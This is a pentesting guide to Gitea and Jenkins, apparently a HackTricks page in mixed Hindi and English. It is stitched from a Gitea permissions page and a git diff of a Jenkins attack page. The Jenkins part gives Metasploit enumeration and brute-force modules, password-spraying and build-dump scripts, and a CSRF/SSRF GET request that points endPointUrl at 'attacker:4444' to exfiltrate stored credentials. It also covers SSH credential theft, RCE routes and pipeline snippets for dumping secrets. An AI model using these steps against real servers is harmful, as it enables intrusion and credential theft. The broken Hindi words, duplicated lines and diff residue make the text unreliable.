बुनियादी Gitea वातावरण संरचना **संस्थान(ओं)** द्वारा रिपोजिटरी को समूहित करने के लिए है, जिनमें से प्रत्येक में **कई रिपोजिटरी** और **कई टीमें** हो सकत हैं। हालाकि, ध्यान दें कि github की तरह उपयोगकर्ताओं के पास संगठन के बाहर रिपोजिटरी हो सकत हैं।
Basic Gitea environment structure is repos को **organizations** के अनुसार group करना, जिनमें से हर एक में **several repositories** और **several teams** हो सकत हैं। हालाकि, ध्यान दें कि github की तरह users के पास organization के बाहर भी repos हो सकत हैं।
इसके अलावा, एक **उपयोगकर्ता** **विभिन्न संगठनों** का **सदस्य** हो सकता है। संगठन के भीतर, उपयोगकर्ता के पास **प्रत्येक रिपोजिटरी पर विभिन्न अनुमतियाँ** हो सकती हैं।
इसके अलावा, एक **user** कई **different organizations** का **member** हो सकता है। organization के भीतर user के पास हर repository पर **different permissions** हो सकती हैं।
एक उपयोगकर्ता **विभिन्न टीमों** का भी **भाग** हो सकता है जिनके पास विभिन्न रिपोजिटरी पर विभिन्न अनुमतियाँ होती हैं
एक user **different teams** का भी हिस्सा हो सकता है, और अलग-अलग repos पर अलग-अलग permissions के साथ
और अंत में, **रिपोजिटरी में विशेष सुरक्षा तंत्र** हो सकते हैं।
और अंत में **repositories के पास special protection mechanisms** हो सकते हैं।
## Permissions
### Organizations
जब एक **संगठन बनाया जाता है**, तो एक टीम जिसे **Owners** कहा जाता है, **बनाई जाती है** और उपयोगकर्ता को इसके अंदर रखा जाता है। यह टीम **संगठन** पर **व्यवस्थापक पहुंच** प्रदान करेगी, **अनुमतियाँ** और टीम का **नाम** **संशोधित नहीं किया जा सकता**
जब एक **organization created** होती है, तो **Owners** नाम की एक team **created** होती है और user को उसमें डाल दिया जाता है। यह team **organization** पर **admin access**ेगी, **permissions** और team का **name** **modify नहीं किया जा सकता**
**Org admins** (owners) संगठन की **दृश्यता** का चयन कर सकते हैं:
**Org admins** (owners) organization की **visibility** चुन सकते हैं:
- सार्वजनिक
- सीमित (लॉग इन उपयोगकर्ताओं के लिए केवल)
- निजी (सदस्यों के लिए केवल)
- Public
- Limited (logged in users only)
- Private (members only)
**Org admins** यह भी संकेत कर सकते हैं कि क्या **repo admins** **टीमों के लिए पहुंच जोड़ या हटा सकते हैं**। वे अधिकतम रिपोजिटरी की संख्या भी संकेत कर सकते हैं।
**Org admins** यह भी बता सकते हैं कि क्या **repo admins** teams के लिए access **add and or remove** कर सकते हैं। वे repos की max number भी बता सकते हैं।
नई टीम बनाते समय, कई महत्वपूर्ण सेटिंग्स चुनी जाती हैं:
नई team बनाते समय, कई important settings चुनी जाती हैं:
- यह संकेत दिया गया है कि **टीम के सदस्य किस संगठरिपोजिटरी तक पहुंच प्राप्त कर सकेंगे**: विशिष्ट रिपोजिटरी (रिपोजिटरी जहां टीम जोड़ी गई है) या सभी
- यह भी संकेत दिया गया है **क्या सदस्य नए रिपोजिटरी बना सकते हैं** (निर्माता को इसके लिए व्यवस्थापक पहुंच प्राप्त होगी)
- **रिपोजिटरी के सदस्यों के पास **अनुमतियाँ** होंगी:
- **व्यवस्थापक** पहुंच
- **विशिष्ट** पहुंच:
- यह बताया जाता है कि team के members org के कौ**repos access** कर पाएंगे: specific repos (जहाँ team add की गई है) या all
- यह भी बताया जाता है कि **members नए repos बना सकते हैं या नहीं** (creator को उस पर admin access मिलेगा)
- repo के **members के पास** जो **permissions** होंगी:
- **Administrator** access
- **Specific** access:
![](<../../images/image (118).png>)
![Gitea organization repository permission matrix for owner, contributor, reader, and access roles](<../../images/image (118).png>)
### Teams & Users
एक रिपोजिटरी में, **org admin** और **repo admins** (यदि संगठन द्वारा अनुमति दी गई हो) सहयोगियों (अन्य उपयोगकर्ताओं) और टीमों को दिए गए **भूमिकाओं** का **प्रबंधन** कर सकते हैं। संभावित **भूमिकाएँ** **3** हैं:
एक repo में, **org admin** और **repo admins** (अगर org द्वारा allowed हो) collaborators (other users) और teams को दिए गए **roles manage** कर सकते हैं। **3** possible **roles** हैं:
- व्यवस्थापक
- लिखें
- पढ़ें
- Administrator
- Write
- Read
## Gitea Authentication
### Web Access
**उपयोगकर्ता नाम + पासवर्ड** का उपयोग करना और संभावित रूप से (और अनुशंसित) 2FA
**username + password** का उपयोग करके, और संभावित रूप से (और recommended) 2FA के साथ
### **SSH Keys**
आप अपने खाते को एक या एक से अधिक सार्वजनिक कुंजियों के साथ कॉन्फ़िगर कर सकते हैं ज संबंधित **निजी कुंजी को आपके पक्ष में कार्य करने की अनुमति देती हैं।** [http://localhost:3000/user/settings/keys](http://localhost:3000/user/settings/keys)
आप अपने account को एक या अधिक public keys के साथ configure कर सकते हैं,िससे संबंधित **private key आपकी ओर से actions perform** कर सके। [http://localhost:3000/user/settings/keys](http://localhost:3000/user/settings/keys)
#### **GPG Keys**
आप **इन कुंजियों के साथ उपयोगकर्ता का प्रतिनिधित्व नहीं कर सकते** लेकिन यदि आप इसका उपयोग नहीं करते हैं तो यह संभव हो सकता है कि आप **बिना हस्ताक्षर के कमिट भेजने के लिए खोजे जाएं**
आप इन keys के साथ user की impersonate नहीं कर सकते, लेकिन अगर आप इसका use नहीं करते, तो संभव है कि बिना signature वाले commits भेजने के लिए आपको **discover** किया जाए
### **Personal Access Tokens**
आप व्यक्तिगत पहुंच टोकन उत्पन्न कर सकते हैं ताकि **एक एप्लिकेशन को आपके खाते तक पहुंच प्रदान की जा सके**। एक व्यक्तिगत पहुंच टोकन आपके खाते पर पूर्ण पहुंच प्रदान करता है: [http://localhost:3000/user/settings/applications](http://localhost:3000/user/settings/applications)
आप personal access token generate कर सकते हैं ताकि **एक application को आपके account तक access** दिया जा सके। एक personal access token आपके account पर full access देता है: [http://localhost:3000/user/settings/applications](http://localhost:3000/user/settings/applications)
### Oauth Applications
व्यक्तिगत पहुंच टोकनों की तरह **Oauth applications** आपके खाते और उन स्थानों पर **पूर्ण पहुंच** प्राप्त करेंगे जहा आपके खाते को पहुंच प्राप्त है क्योंकि, जैसा कि [docs](https://docs.gitea.io/en-us/oauth2-provider/#scopes) में संकेत दिया गया है, स्कोप अभी तक समर्थित नहीं हैं:
personal access tokens की तरह ही **Oauth applications** आपके account और जहाँ-जहा आपके account को access है, उन जगहों पर complete access रखेंगी क्योंकि [docs](https://docs.gitea.io/en-us/oauth2-provider/#scopes) में बताया गया है, scopes अभी supported नहीं हैं:
![](<../../images/image (194).png>)
![Gitea OAuth authorization prompt for TestApp requesting full account and organization access](<../../images/image (194).png>)
### Deploy keys
Deploy keys को रिपोजिटरी के लिए केवल पढ़ने या लिखने की पहुंच हो सकती है, इसलिए वे विशिष्ट रिपोजिटरी को समझौता करने के लिए दिलचस्प हो सकत हैं।
Deploy keys repo पर read-only या write access रख सकती है, इसलिए specific repos compromise करने के लिए ये interesting हो सकत हैं।
## Branch Protections
Branch protections का उद्देश्य उपयोगकर्ताओं को **एक रिपोजिटरी का पूर्ण नियंत्रण नहीं देना** है। लक्ष्य यह है कि **कुछ शाखा के अंदर कोड लिखने में सक्षम होने से पहले कई सुरक्षा विधियाँ लगाई जाएं**
Branch protections का उद्देश्य users को किसी repository पर complete control **न देना** है। इसका goal है कुछ branch में code लिखने से पहले **कई protection methods** लगाना
**एक रिपोजिटरी की शाखा सुरक्षा** _https://localhost:3000/\<orgname>/\<reponame>/settings/branches_ में पाई जा सकती है।
किसी repository की **branch protections** यहाँ मिल सकती हैं _https://localhost:3000/\<orgname>/\<reponame>/settings/branches_
> [!NOTE]
> संगठन स्तर पर शाखा सुरक्षा सेट करना **संभव नहीं है**। इसलिए सभी को प्रत्येक रिपोजिटरी पर घोषित किया जाना चाहिए
> Organization level पर branch protection set करना **possible नहीं है**। इसलिए इन्हें हर repo पर अलग-अलग declare करना होगा
एक शाखा पर विभिन्न सुरक्षा लागू की जा सकती हैं (जैसे कि मास्टर पर):
किसी branch (जैसे master) पर अलग-अलग protections apply की जा सकती हैं:
- **Push निष्क्रिय करें**: कोई भी इस शाखा पर पुश नहीं कर सकता
- **Push सक्षम करें**: कोई भी जिसे पहुंच प्राप्त है वह पुश कर सकता है, लेकिन बल पुश नहीं कर सकता
- **Whitelist Restricted Push**: केवल चयनित उपयोगकर्ता/टीम इस शाखा पर पुश कर सकते हैं (लेकिन कोई बल पुश नहीं)
- **Enable Merge Whitelist**: केवल व्हाइटलिस्टेड उपयोगकर्ता/टीम PRs को मर्ज कर सकते हैं।
- **Enable Status checks:** मर्ज करने से पहले स्थिति जांच पास करने की आवश्यकता है।
- **Require approvals**: एक PR को मर्ज करने से पहले आवश्यक अनुमतियों की संख्या को इंगित करें
- **Restrict approvals to whitelisted**: उन उपयोगकर्ताओं/टीमों को इंगित करें जो PRs को अनुमोदित कर सकते हैं।
- **Block merge on rejected reviews**: यदि परिवर्तन अनुरोध किए जाते हैं, तो इसे मर्ज नहीं किया जा सकता (भले ही अन्य जांच पास हों)
- **Block merge on official review requests**: यदि आधिकारिक समीक्षा अनुरोध हैं तो इसे मर्ज नहीं किया जा सकता
- **Dismiss stale approvals**: जब नए कमिट होते हैं, तो पुराने अनुमोदन को खारिज कर दिया जाएगा
- **Require Signed Commits**: कमिट को हस्ताक्षरित होन चाहिए।
- **Disable Push**: कोई भी इस branch पर push नहीं कर सकता
- **Enable Push**: access वाला कोई भी push कर सकता है, लेकिन force push नहीं
- **Whitelist Restricted Push**: केवल selected users/teams ही इस branch पर push कर सकते हैं (लेकिन force push नहीं)
- **Enable Merge Whitelist**: केवल whitelisted users/teams ही PRs merge कर सकते हैं।
- **Enable Status checks:** merge से पहले status checks pass होना ज़रूरी है।
- **Require approvals**: PR merge होने से पहले required approvals की संख्या बताता है
- **Restrict approvals to whitelisted**: वे users/teams बताता है जो PRs approve कर सकते हैं।
- **Block merge on rejected reviews**: अगर changes requested हैं, तो इसे merge नहीं किया जा सकता (भले ही बाकी checks pass हो जाएँ)
- **Block merge on official review requests**: अगर official review requests हैं, तो इसे merge नहीं किया जा सकता
- **Dismiss stale approvals**: नए commits आने पर पुराने approvals dismiss हो जाएँगे
- **Require Signed Commits**: Commits signed होन चाहिए।
- **Block merge if pull request is outdated**
- **Protected/Unprotected file patterns**: परिवर्तनों के खिलाफ सुरक्षा/असुरक्षित करने के लिए फ़ाइलों के पैटर्न को इंगित करें
- **Protected/Unprotected file patterns**: changes के खिलाफ protect/unprotect करने के लिए files के patterns बताता है
> [!NOTE]
> जैसा कि आप देख सकते हैं, भले ही आप किसी उपयोगकर्ता के कुछ क्रेडेंशियल प्राप्त करने में सफल रहे हों, **रिपोजिटरी सुरक्षा में हो सकत हैं जिससे आप उदाहरण के लिए मास्टर पर कोड पुश नहीं कर सकते** ताकि CI/CD पाइपलाइन को समझौता किया जा सके
> जैसा कि आप देख सकते हैं, भले ही आपने किसी user के कुछ credentials हासिल कर लिए हों, **repos protected** हो सकत हैं, जिससे आप code को master पर push नहीं कर पाएँगे, उदाहरण के लिए CI/CD pipeline compromise करने के लिए
{{#include ../../banners/hacktricks-training.md}}
+97 -95
View File
@@ -1,40 +1,40 @@
# Jenkins सुरक्षा
# Jenkins Security
{{#include ../../banners/hacktricks-training.md}}
## बुनियादी जानकारी
## Basic Information
Jenkins एक ऐसा टूल है जो pipelines का उपयोग करके लगभग **कोई भी** संयोजन — जैसे **प्रोग्रामिंग भाषाएँ** और source code repositories के लिए **continuous integration** या **continuous delivery** (CI/CD) वातावरण स्थापित करने का एक सरल तरीका प्रदान करता है। इसके अलावा, यह कई नियमित विकास कार्यों को स्वचालित करता है। हालांकि Jenkins व्यक्तिगत चरणों के लिए **अलग‑अलग चरणों के लिए स्क्रिप्ट बनाने की आवश्यकता** को समाप्त नहीं करता, यह build, test, और deployment टूल्स पूरे क्रम को एकीकृत करने का एक तेज़ और अधिक मजबूत तरीका प्रदान करता है, जिसे मैन्युअल रूप से आसानी से तैयार करना कठिन होता है
Jenkins एक tool है जो लगभग **किसी भी** combination of **programming languages** और source code repositories के लिए pipelines का उपयोग करके **continuous integration** या **continuous delivery** (CI/CD) environment स्थापित करने का एक सीधा तरीका प्रदान करता है। इसके अलावा, यह विभिन्न routine development tasks को automate करता है। हालांकि Jenkins **individual steps के लिए scripts बनाने की जरूरत** को खत्म नहीं करता, यह build, test, और deployment tools पूरी sequence को integrate करने का एक तेज़ और अधिक robust तरीका देता है, जिसे manually आसानी से construct नहीं किया जा सकता
{{#ref}}
basic-jenkins-information.md
{{#endref}}
## बिना प्रमाणीकरण के एन्यूमरेशन
## Unauthenticated Enumeration
प्रमाणीकरण के बिना रोचक Jenkins पेजों की खोज करने के लिए जैसे (_/people_ or _/asynchPeople_, this lists the current users) आप उपयोग कर सकते हैं:
Authentication के बिना interesting Jenkins pages को search करने के लिए, जैसे (_/people_ या _/asynchPeople_, यह current users की list है) आप इसका उपयोग कर सकते हैं:
```
msf> use auxiliary/scanner/http/jenkins_enum
```
जांच करें कि क्या आप authentication की आवश्यकता के बिना commands execute कर सकते हैं:
जांचें कि क्या आप authentication की जरूरत के बिना commands execute कर सकते हैं:
```
msf> use auxiliary/scanner/http/jenkins_command
```
बिना credentials के आप _**/asynchPeople/**_ path या _**/securityRealm/user/admin/search/index?q=**_ में जाकर **usernames** देख सकते हैं।
Without credentials you can look inside _**/asynchPeople/**_ path or _**/securityRealm/user/admin/search/index?q=**_ for **usernames**.
आप संभवतः _**/oops**_ या _**/error**_ path से Jenkins का version प्राप्त कर सकते हैं।
You may be able to get the Jenkins version from the path _**/oops**_ or _**/error**_
![](<../../images/image (146).png>)
![Jenkins Oops error page exposing the Jenkins version in the footer](<../../images/image (146).png>)
### ज्ञात कमजोरियाँ
### Known Vulnerabilities
{{#ref}}
https://github.com/gquere/pwn_jenkins
{{#endref}}
## लॉगिन
## Login
basic information में आप **Jenkins के अंदर लॉगिन करने के सभी तरीके** देख सकते हैं:
In the basic information you can check **all the ways to login inside Jenkins**:
{{#ref}}
basic-jenkins-information.md
@@ -42,50 +42,50 @@ basic-jenkins-information.md
### Register
आप ऐसे Jenkins instances पाएंगे जो **आपको एक account बनाने और अंदर लॉगिन करने की अनुमति देते हैं। बस इतना सरल।**
You will be able to find Jenkins instances that **allow you to create an account and login inside of it. As simple as that.**
### **SSO Login**
अगर **SSO** **functionality**/**plugins** मौजूद थे तो आपको एक टेस्ट अकाउंट (यानी एक टेस्ट **Github/Bitbucket account**) का उपयोग करके application में **log-in** करने का प्रयास करना चाहिए। Trick from [**here**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/).
Also if **SSO** **functionality**/**plugins** were present then you should attempt to **log-in** to the application using a test account (i.e., a test **Github/Bitbucket account**). Trick from [**here**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/).
### Bruteforce
**Jenkins** में **password policy** और **username brute-force mitigation** का अभाव है। उपयोगकर्ताओं पर **brute-force** करना आवश्यक है क्योंकि **weak passwords** या **usernames as passwords** इस्तेमाल हो सकते हैं, यहा तक कि **reversed usernames as passwords** भी।
**Jenkins** में **password policy** और **username brute-force mitigation** नहीं है। **brute-force** से users को target करना ज़रूरी है, क्योंकि **weak passwords** या **usernames as passwords** इस्तेमाल हो सकते हैं, यहा तक कि **reversed usernames as passwords** भी।
```
msf> use auxiliary/scanner/http/jenkins_login
```
### Password spraying
इस्तेमाल करें [this python script](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) या [this powershell script](https://github.com/chryzsh/JenkinsPasswordSpray).
Use [this python script](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) or [this powershell script](https://github.com/chryzsh/JenkinsPasswordSpray).
### IP Whitelisting Bypass
कई संगठन **SaaS-based source control management (SCM) systems** जैसे GitHub या GitLab को **internal, self-hosted CI** समाधान जैसे Jenkins या TeamCity के साथ जोड़ते हैं। यह सेटअप CI सिस्टम को **SaaS source control vendors से webhook events प्राप्त करने** की अनुमति देता है, मुख्य रूप से pipeline jobs ट्रिगर करने के लिए।
Many organizations combine **SaaS-based source control management (SCM) systems** such as GitHub or GitLab with an **internal, self-hosted CI** solution like Jenkins or TeamCity. This setup allows CI systems to **receive webhook events from SaaS source control vendors**, primarily for triggering pipeline jobs.
इसे हासिल करने के लिए, संगठन **SCM platforms** के **IP ranges** को **whitelist** करते हैं, जिससे उन्हें **webhooks** के माध्यम से **internal CI system** तक पहुँचने की अनुमति मिलती है। हालाँकि, यह ध्यान देने योग्य है कि **किसी भी व्यक्ति (anyone)** GitHub या GitLab पर एक **account** बना सकता है और इसे **trigger a webhook** करने के लिए कॉन्फ़िगर कर सकता है, जिससे संभावित रूप से **internal CI system** पर अनुरोध भेजे जा सकते हैं।
To achieve this, organizations **whitelist** the **IP ranges** of the **SCM platforms**, permitting them to access the **internal CI system** via **webhooks**. However, it's important to note that **anyone** can create an **account** on GitHub or GitLab and configure it to **trigger a webhook**, potentially sending requests to the **internal CI system**.
देखें: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/)
Check: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/)
## आंतरिक Jenkins दुरुपयोग
## Internal Jenkins Abuses
इन परिदृश्यों में हम मान लेते हैं कि आपके पास Jenkins तक पहुँचने के लिए एक वैध खाता है।
In these scenarios we are going to suppose you have a valid account to access Jenkins.
> [!WARNING]
> यह इस बात पर निर्भर करता है कि Jenkins में configured **Authorization** mechanism और compromised user की permissions क्या हैं — आप **निम्नलिखित हमले कर पाएँगे या नहीं।**
> Depend करता है on the **Authorization** mechanism configured in Jenkins and the permission of the compromised user you **might be able or not to perform the following attacks.**
अधिक जानकारी के लिए मूल जानकारी देखें:
For more information check the basic information:
{{#ref}}
basic-jenkins-information.md
{{#endref}}
### उपयोगकर्ताओं की सूची
### Listing users
यदि आप Jenkins तक पहुँच चुके हैं, तो आप अन्य पंजीकृत उपयोगकर्ताओं को इस URL पर सूचीबद्ध कर सकते हैं: [http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/)
If you have accessed Jenkins you can list other registered users in [http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/)
### Dumping builds to find cleartext secrets
इस्तेमाल करें [this script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) ताकि build console outputs और build environment variables dump करके उम्मीद की जा सके कि cleartext secrets मिल सकें।
Use [this script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) to dump build console outputs and build environment variables to hopefully find cleartext secrets.
```bash
python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
cd build_dumps
@@ -93,89 +93,89 @@ gitleaks detect --no-git -v
```
### FormValidation/TestConnection endpoints (CSRF to SSRF/credential theft)
कुछ plugins Jelly `validateButton` या `test connection` handlers को `/descriptorByName/<Class>/testConnection` जैसे paths के तहत expose करते हैं। जब handlers **do not enforce POST or permission checks**, आप:
कुछ plugins Jelly `validateButton` या `test connection` handlers को `/descriptorByName/<Class>/testConnection` जैसे paths के तहत expose करते हैं। जब handlers **POST या permission checks enforce नहीं करते**, तो आप:
- POST को GET में बदलं और Crumb drop करके CSRF checks को bypass करें।
- यदि कोई `Jenkins.ADMINISTER` check मौजूद नहीं है तो handler को low-priv/anonymous के रूप में trigger करं।
- एक admin पर CSRF करें और host/URL parameter बदलकर credentials को exfiltrate करें या outbound calls trigger करें।
- रिस्पॉन्स एरर्स (उदा., `ConnectException`) को SSRF/port-scan oracle के रूप में उपयोग करें।
- CSRF checks bypass करने के लिए POST को GET में बदल सकते हैं और Crumb हटा सकते हैं।
- अगर `Jenkins.ADMINISTER` check मौजूद नहीं है, तो handler को low-priv/anonymous के रूप में trigger कर सकते हैं।
- एक admin पर CSRF करे host/URL parameter बदल सकते हैं ताकि credentials exfiltrate हों या outbound calls trigger हों।
- response errors (जैसे `ConnectException`) को SSRF/port-scan oracle के रूप में इस्तेमाल कर सकते हैं।
Example GET (no Crumb) turning a validation call into SSRF/credential exfiltration:
SSRF/credential exfiltration में validation call बदलने वाला उदाहरण GET (no Crumb):
```http
GET /descriptorByName/jenkins.plugins.openstack.compute.JCloudsCloud/testConnection?endPointUrl=http://attacker:4444/&credentialId=openstack HTTP/1.1
Host: jenkins.local:8080
```
If the plugin reuses stored creds, Jenkins will attempt to authenticate to `attacker:4444` and may leak identifiers or errors in the response. See: https://www.nccgroup.com/research-blog/story-of-a-hundred-vulnerable-jenkins-plugins/
यदि plugin stored creds का reuse करता है, तो Jenkins `attacker:4444` को authenticate करने की कोशिश करेगा और response में identifiers या errors leak हो सकते हैं। देखें: https://www.nccgroup.com/research-blog/story-of-a-hundred-vulnerable-jenkins-plugins/
### **SSH Credentials चोरी करना**
### **Stealing SSH Credentials**
यदि compromised user के पास **नया Jenkins node create/modify करने के पर्याप्त privileges** हैं और SSH credentials पहले से ही अन्य nodes तक access के लिए स्टोर है, तो वह एक node create/modify करके और **ऐसा host सेट करके जो credentials रिकॉर्ड करेगा** बिना host key verify किए, उन credentials को **चुरा** सकता है:
यदि compromised user के पास **new Jenkins node create/modify** करने के लिए **enough privileges** हैं और दूसरे nodes access करने के लिए SSH credentials पहले से stored हैं, तो वह **उन credentials को steal** कर सकता है, एक node create/modify करके और **ऐसा host set करके जो host key verify किए बिना credentials record करे**:
![](<../../images/image (218).png>)
![Jenkins node configuration form with host, credentials, and non-verifying host key strategy fields](<../../images/image (218).png>)
आम तौर पर आपको Jenkins ssh credentials एक **global provider** (`/credentials/`) में मिलेंग, इसलिए आप उन्हें किसी भी अन्य secret की तरह dump भी कर सकते हैं। अधिक जानकारी के लिए [**Dumping secrets section**](#dumping-secrets) देखें।
प आमतौर पर Jenkins ssh credentials को एक **global provider** (`/credentials/`) में पाएंग, इसलिए आप उन्हें भी वैसे ही dump कर सकते हैं जैसे कोई और secret dump करते हैं। अधिक जानकारी के लिए [**Dumping secrets section**](#dumping-secrets) देखें।
### **Jenkins में RCE**
### **RCE in Jenkins**
Jenkins server में **shell प्राप्त करना** attacker को यह मौका देता है कि वह सभी **secrets** और **env variables** को leak करे और उसी नेटवर्क में मौजूद अन्य machines को **exploit** कर या यहा तक कि **cloud credentials** भी gather कर ले
Jenkins server में एक **shell** मिलने से attacker को सभी **secrets** और **env variables** leak करे और उसी network में मौजूद दूसरे machines को **exploit** करने, या यहा तक कि **cloud credentials** इकट्ठा करने का मौका मिलता है
डिफ़ॉल्ट रूप से, Jenkins **SYSTEM के रूप में run** करेगा। इसलिए, इसे compromise करने पर attacker को **SYSTEM privileges** मिल जाएंगे।
By default, Jenkins **SYSTEM** के रूप में run करेगा। इसलिए, इसे compromise करने पर attacker को **SYSTEM privileges** मिलंगे।
### **RCE: किसी project को create/modify करना**
### **RCE Creating/Modifying a project**
किसी project को create/modify करना Jenkins server पर RCE प्राप्त करने का एक तरीका है:
Create/Modify करना project Jenkins server पर RCE पने का एक तरीका है:
{{#ref}}
jenkins-rce-creating-modifying-project.md
{{#endref}}
### **RCE: Groovy script execute करना**
### **RCE Execute Groovy script**
आप Groovy script execute करके भी RCE प्राप्त कर सकते हैं, जो नया project बनाने की तुलना में अधिक stealthy हो सकता है:
आप Groovy script execute करके भी RCE प्राप्त कर सकते हैं, जो नया project बनाने से अधिक stealthier हो सकता है:
{{#ref}}
jenkins-rce-with-groovy-script.md
{{#endref}}
### **RCE: Pipeline बनाना/modify करना**
### RCE Creating/Modifying Pipeline
आप **pipeline को create/modify करके भी RCE**्राप्त कर सकते हैं:
आप **pipeline create/modify** करके भी **RCE** सकते हैं:
{{#ref}}
jenkins-rce-creating-modifying-pipeline.md
{{#endref}}
## Pipeline का शोषण
## Pipeline Exploitation
Pipelines को exploit करने के लिए आपके पास अभी भी Jenkins तक access होना आवश्यक है
Pipelines exploit करने के लिए आपक अभी भी Jenkins तक access चाहिए
### Build Pipelines
**Pipelines** को projects में **build mechanism** के रूप में भी उपयोग किया जा सकता है; ऐसे मामलों में repository के अंदर एक **file** configure की जाती है जो pipeline syntax रखेगी। डिफ़ॉल्ट रूप से `/Jenkinsfile` उपयोग होता है:
**Pipelines** को projects में **build mechanism** के रूप में भी इस्तेमाल किया जा सकता है, उस case में repository के अंदर एक **file** configure की जा सकती है जो pipeline syntax contain करेगी। By default `/Jenkinsfile` उपयोग होता है:
![](<../../images/image (127).png>)
![Jenkins pipeline build configuration using Jenkinsfile mode and script path](<../../images/image (127).png>)
यह भी संभव है कि pipeline configuration files को अन्य स्थानों (उदाहरण के लिए अन्य repositories) में store किया जाए ताकि repository access और pipeline access को अलग रखा जा सके।
यह भी possible है कि **pipeline configuration files** को अन्य जगहों पर **store** किया जाए (उदाहरण के लिए अन्य repositories में) ताकि repository **access** और pipeline access को **separate** किया जा सके।
यदि किसी attacker के पास उस file पर **write access** है तो वह से **modify** कर सकेगा और बिना Jenkins तक access के भी pipeline को **potentially trigger** कर सकता है.\
हो सकता है कि attacker को कुछ branch protections **bypass** करने की आवश्यकता पड़े (platform और user privileges के अनुसार इन्हें bypass किया जा सकता है या नहीं)।
यदि attacker के पास उस file पर **write access** है, तो वह से **modify** कर सकेगा और संभवतः Jenkins तक access के बिना भी pipeline **trigger** कर सकेगा।\
संभव है कि attacker को कुछ **branch protections bypass** करन पड़े (platform और user privileges के अनुसार इन्हें bypass किया जा सकता है या नहीं भी)।
The most common triggers to execute a custom pipeline are:
Custom pipeline execute करने के सबसे common triggers हैं:
- **Pull request** to the main branch (or potentially to other branches)
- **Push to the main branch** (or potentially to other branches)
- **Update the main branch** and wait until it's executed somehow
- main branch पर **Pull request** (या संभावित रूप से अन्य branches पर)
- main branch पर **Push** (या संभावित रूप से अन्य branches पर)
- main branch **Update** करें और तब तक wait करें जब तक यह किसी तरह execute न हो जाए
> [!NOTE]
> If you are an **external user** you shouldn't expect to create a **PR to the main branch** of the repo of **other user/organization** and **trigger the pipeline**... but if it's **bad configured** you could fully **compromise companies just by exploiting this**.
> यदि आप एक **external user** हैं, तो आपको repo के **other user/organization** की **main branch** पर **PR** create करने और **pipeline trigger** करने की उम्मीद नहीं करनी चाहिए... लेकिन अगर यह **bad configured** है, तो आप सिर्फ इसे exploit करके companies को पूरी तरह **compromise** कर सकते हैं।
### Pipeline RCE
पिछले RCE सेक्शन में पहले ही एक तकनीक बताई गई थी [**get RCE modifying a pipeline**](#rce-creating-modifying-pipeline)
पिछले RCE section में पहले ही एक technique बताई गई थी जिससे [**pipeline modify करके RCE get**](#rce-creating-modifying-pipeline) किया जा सकता है।
### Env variables की जाँच
### Checking Env variables
पूरे pipeline या specific stages के लिए **clear text env variables** declare करना संभव है। ये env variables **sensitive info नहीं रखनी चाहिए**, पर एक attacker हमेशा सभी pipeline configurations/Jenkinsfiles को **check** कर सकता है:
पूरे pipeline या specific stages के लिए **clear text env variables** declare करना possible है। ये env variables **sensitive info** नहीं रखनी चाहिए, लेकिन attacker हमेशा सभी pipeline configurations/Jenkinsfiles **check** कर सकता है:
```bash
pipeline {
agent {label 'built-in'}
@@ -190,21 +190,21 @@ STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
```
### रहस्यों को डंप करना
### Dumping secrets
Jenkins में आम तौर पर रहस्यों के साथ कैसे व्यवहार किया जात है, इसकी बुनियादी जानकारी के लिए देखें:
Jenkins में secrets आमतौर पर कैसे handle कि जात है, इसकी जानकारी के लिए basic information देखें:
{{#ref}}
basic-jenkins-information.md
{{#endref}}
Credentials को **global providers** (`/credentials/`) या **specific projects** (`/job/<project-name>/configure`) के लिए scope किया जा सकता है। इसलिए, इन्हें सभी exfiltrate करने के लिए आपको **कम से कम उन सभी projects को compromise करना होगा** जिनमें secrets होते हैं और custom/poisoned pipelines execute करन होंग
Credentials को **global providers** (`/credentials/`) या **specific projects** (`/job/<project-name>/configure`) के लिए **scoped** किया जा सकता है। इसलिए, इन्हें सभी exfiltrate करने के लिए आपको **कम-से-कम उन सभी projects को compromise** करना होगा जिनमें secrets हैं और custom/poisoned pipelines execute करन होंग
एक और समस्या यह है कि pipeline के **env के अंदर secret**्राप्त करने के लिए आपको **secret का नाम और प्रकार जानना** होगा। उदाहरण के लिए, अगर आप **`usernamePassword`** **secret** को **`string`** **secret**े रूप में **load** करने की कोशिश करते हैं तो आपको यह **error** मिलेगा:
एक और समस्या है: pipeline के env के अंदर **secret**ने के लिए आपको **secret का name और type** जानना होगा। उदाहरण के लिए, अगर आप एक **`usernamePassword`** **secret** को **`string`** **secret**ी तरह **load** करने की कोशिश करते हैं, तो आपको यह **error** मिलेगा:
```
ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected
```
यहाँ कुछ सामान्य secret प्रकार लोड करने का तरीका दिया गया है:
यहां आपके पास कुछ common secret types को load करने का तरीका है:
```bash
withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
sh '''
@@ -235,8 +235,8 @@ env
At the end of this page you can **find all the credential types**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/)
> [!WARNING]
> सबसे अच्छा तरीका **dump all the secrets at once** प्राप्त करने का है — यानी **compromising** **Jenkins** मशीन (उदाहरण के लिए **built-in node** में reverse shell चलाकर) और फिर **leaking** **master keys** और **encrypted secrets** और उन्हें offline decrypt करना।\
